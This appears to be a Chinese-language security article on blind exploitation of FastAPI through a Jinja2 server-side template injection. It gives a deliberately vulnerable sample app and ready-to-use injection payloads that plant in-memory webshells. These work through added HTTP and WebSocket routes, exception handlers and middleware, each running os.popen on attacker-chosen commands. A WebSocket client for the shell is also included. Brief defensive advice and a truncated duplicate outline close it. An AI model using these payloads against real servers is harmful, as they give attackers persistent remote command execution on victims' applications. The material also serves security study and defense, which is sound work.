fastapi 框架中的无回显利用

字数 793 2025-08-22 12:22:54

FastAPI 框架中的无回显利用技术研究

1. 背景介绍

FastAPI 作为现代 Python Web 框架，其安全性问题日益受到关注。本文详细探讨 FastAPI 框架中的无回显利用技术，包括路由内存马、异常处理、中间件等多种攻击方式。

2. 基础环境

示例漏洞代码：

import os
import jinja2
import uvicorn
from fastapi import FastAPI

app = FastAPI()

@app.get("/calc")
async def ssti(calc_req: str):
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(calc_req).render({"app": app})
        if result is not None:
            return "okokok"
        else:
            return "fail"
    except Exception as e:
        return f"<html><body><h1>Error:</h1><pre>{str(e)}</pre></body></html>"

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=9000)

3. 路由内存马技术

3.1 通过 `add_api_route` 注册路由

FastAPI 通过装饰器注册路由，本质是调用 add_api_route 方法：

config.__init__.__globals__['__builtins__']['exec'](
    'app.add_api_route("/flag",lambda:__import__("os").popen("whoami").read());',
    {"app": app}
)

带参数版本：

config.__init__.__globals__['__builtins__']['exec'](
    'app.add_api_route("/flag",lambda x:__import__("os").popen(x).read());',
    {"app": app}
)

3.2 通过 `api_route` 方法注册路由

config.__init__.__globals__['__builtins__']['exec'](
    'app.api_route(path="/flag", methods=["GET"])(lambda x:__import__("os").popen(x).read());',
    {"app": app}
)

3.3 通过 `add_route` 方法注册路由

需要处理 Request 和 Response 类型：

{{ config.__init__.__globals__['__builtins__']['exec'](
    'from fastapi.responses import JSONResponse; 
    app.add_route("/flag", 
        lambda request: JSONResponse({"output": __import__("os").popen(request.query_params.get("x")).read()}),
        methods=["GET"]);',
    {"app":app})
}}

或使用全局变量：

{{ config.__init__.__globals__['__builtins__']['exec'](
    'app.add_route("/flag", 
        lambda request: app.__init__.__globals__["JSONResponse"]({"output": __import__("os").popen(request.query_params.get("x")).read()}),
        methods=["GET"]);',
    {"app":app})
}}

3.4 WebSocket 路由注册

使用 add_api_websocket_route 或 add_websocket_route：

{{ config.__init__.__globals__['__builtins__']['exec'](
    'from fastapi import FastAPI, WebSocket; 
    async def websocket_endpoint(websocket: WebSocket): 
        await websocket.accept() 
        result = __import__("os").popen(await websocket.receive_text()).read() 
        await websocket.send_text(f"Message received: {result}") 
    app.add_api_websocket_route("/flag", websocket_endpoint)', 
    {"app": app})
}}

客户端连接代码：

import asyncio
import websockets

async def websocket_client():
    uri = "ws://127.0.0.1:9000/flag"
    async with websockets.connect(uri) as websocket:
        message = input("Enter a message to send to the server: ")
        await websocket.send(message)
        response = await websocket.recv()
        print(f"Response from server: {response}")
        await websocket.close()

if __name__ == "__main__":
    asyncio.run(websocket_client())

4. 异常处理利用

4.1 直接使用 `add_exception_handler`

{{ config.__init__.__globals__['__builtins__']['exec'](
    'app.add_exception_handler(404, lambda request,exc: app.__init__.__globals__["JSONResponse"](status_code=404,content={"message":__import__("os").popen("dir").read()}))',
    {"app": app})
}}

4.2 通过 `middleware_stack` 添加

{{ config.__init__.__globals__['__builtins__']['exec'](
    'app.middleware_stack.app.add_exception_handler(404, lambda request,exc: app.__init__.__globals__["JSONResponse"](status_code=404,content={"message":__import__("os").popen("dir").read()}))',
    {"app": app})
}}

4.3 需要执行 `build_middleware_stack`

{{ config.__init__.__globals__['__builtins__']['exec'](
    'app.middleware_stack=app.build_middleware_stack()',
    {"app": app})
}}

5. 中间件利用

5.1 自定义中间件类

{{ config.__init__.__globals__['__builtins__']['exec'](
    'from starlette.middleware.base import BaseHTTPMiddleware; 
    class CustomMiddleware(BaseHTTPMiddleware): 
        async def dispatch(self, request, call_next): 
            result = os.popen("echo 111").read().strip() 
            response = await call_next(request) 
            response.headers["X-Custom-Header"] = result 
            return response 
    app.add_middleware(CustomMiddleware)',
    {"app": app})
}}

5.2 直接插入 `user_middleware`

{{ config.__init__.__globals__['__builtins__]['exec'](
    'async def evil(request,call_next): 
        global app 
        return app.__init__.__globals__["JSONResponse"](
            content={"message":__import__("os").popen("echo 111").read().strip()} 
        ) 
    app.user_middleware.insert(0, app.__init__.__globals__["Middleware"](
        app.__init__.__globals__["BaseHTTPMiddleware"], 
        dispatch=evil 
    ))',
    {"app": app})
}}

同样需要执行：

{{ config.__init__.__globals__['__builtins__']['exec'](
    'app.middleware_stack=app.build_middleware_stack()',
    {"app": app})
}}

6. 其他利用方式

6.1 `add_event_handler`

只能处理启动与关闭事件，实用性有限：

app.add_event_handler("startup", startup_event)
app.add_event_handler("shutdown", shutdown_event)

6.2 `BackgroundTasks`

需要依赖请求上下文，实用性有限：

def dependency_function(background_tasks: BackgroundTasks):
    background_tasks.add_task(write_log, "Task from dependency")

@app.get("/use-dependency/")
async def use_dependency(background_tasks: BackgroundTasks = Depends(dependency_function)):
    return {"message": "Dependency added a background task!"}

7. 防御建议

严格过滤用户输入，特别是模板渲染时的输入
禁用危险的内置函数和模块
限制应用程序的权限
定期更新框架和依赖库
实施严格的访问控制

8. 总结

FastAPI 提供了多种路由和中间件注册方式，这些功能在攻击者手中可以变成持久化后门。理解这些利用技术有助于更好地防御相关攻击。

FastAPI 框架中的无回显利用技术研究

1. 背景介绍

2. 基础环境

3. 路由内存马技术

3.1 通过 add_api_route 注册路由

3.2 通过 api_route 方法注册路由

3.3 通过 add_route 方法注册路由